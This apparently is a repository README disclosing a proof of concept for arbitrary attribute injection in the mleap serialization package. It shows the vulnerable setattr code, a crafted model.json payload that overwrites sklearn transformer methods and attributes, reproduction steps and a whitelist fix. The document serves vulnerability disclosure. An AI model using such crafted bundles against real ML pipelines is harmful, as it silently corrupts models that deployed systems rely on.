File size: 3,218 Bytes
ba4c981
8e675de
 
 
 
 
 
 
 
 
ba4c981
 
8e675de
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
---
tags:
  - security
  - vulnerability
  - poc
  - mleap
  - sklearn
  - attribute-injection
  - cwe-915
  - model-integrity
license: mit
---

# MLeap β€” Bundle Arbitrary Attribute Injection (PoC)

**Repo:** `MBM7/mleap-attribute-injection-poc`  
**Status:** Responsible disclosure β€” submitted to Huntr  
**Severity:** High / CWE-915  
**Package:** `mleap` (PyPI) β€” ML pipeline serialization format

---

## Summary

A crafted MLeap bundle `model.json` can **overwrite any Python attribute**
of any sklearn transformer β€” including methods like `transform()` and
`predict()` β€” causing silent model corruption at inference time.
No exception is raised during loading.

---

## Root Cause

`mleap/bundle/serialize.py`, `MLeapDeserializer.deserialize_single_input_output()`, line 208:

```python
for attribute in attributes.keys():         # ← from model.json, NO validation
    value_key = [key for key in attributes[attribute].keys()
                 if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0]
    setattr(transformer, attribute, attributes[attribute][value_key])
    #                    ^^^^^^^^^  ANY Python attribute name
```

`attribute` comes directly from `model.json` in the MLeap bundle with
**no whitelist or validation**. An attacker controls all attribute names
and their values.

---

## Attack

Craft a `model.json` with injected attribute names alongside legitimate ones:

```json
{
  "op": "standard_scaler",
  "attributes": {
    "mean_":          {"double": [0.5, 1.5, 2.5]},
    "transform":      {"string": "HIJACKED"},
    "__module__":     {"string": "os"},
    "n_features_in_": {"long": 9999999999}
  }
}
```

After `MLeapDeserializer().deserialize_single_input_output(scaler, node_dir)`:
- `scaler.transform` = `"HIJACKED"` (method overwritten with string)
- `scaler.__module__` = `"os"` (`__dunder__` injected)
- `scaler.n_features_in_` = `9999999999` (shape validation bypassed)

Calling `scaler.transform(X)` raises `TypeError: 'str' object is not callable`.

---

## Reproduce

```bash
pip install mleap scikit-learn numpy
python poc_mleap_setattr_injection.py
```

Expected:
```
result.transform      : 'HIJACKED'  ← INJECTED (was method!)
result.__module__     : os          ← INJECTED
result.n_features_in_ : 9999999999  ← INJECTED
result.transform(X)  : TypeError: 'str' object is not callable
```

---

## Distinct class from all previous findings

All previous findings were **CWE-789** (memory allocation). This is:
- **CWE-915** (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
- No memory exhaustion β€” model integrity/behavioral attack
- Silent failure at inference time, not at load time

---

## Suggested Fix

```python
ALLOWED_ATTRS = frozenset({
    'mean_', 'var_', 'scale_', 'with_mean', 'with_std',
    'copy', 'n_features_in_', 'n_samples_seen_', 'op',
    # ... per-transformer whitelist
})
for attribute in attributes.keys():
    if attribute not in ALLOWED_ATTRS:
        raise ValueError(f"Attribute {attribute!r} not in allowed list")
    setattr(transformer, attribute, ...)
```

---

## Environment

| Package | Version |
|---------|---------|
| mleap   | 0.25.1  |
| Python  | 3.12    |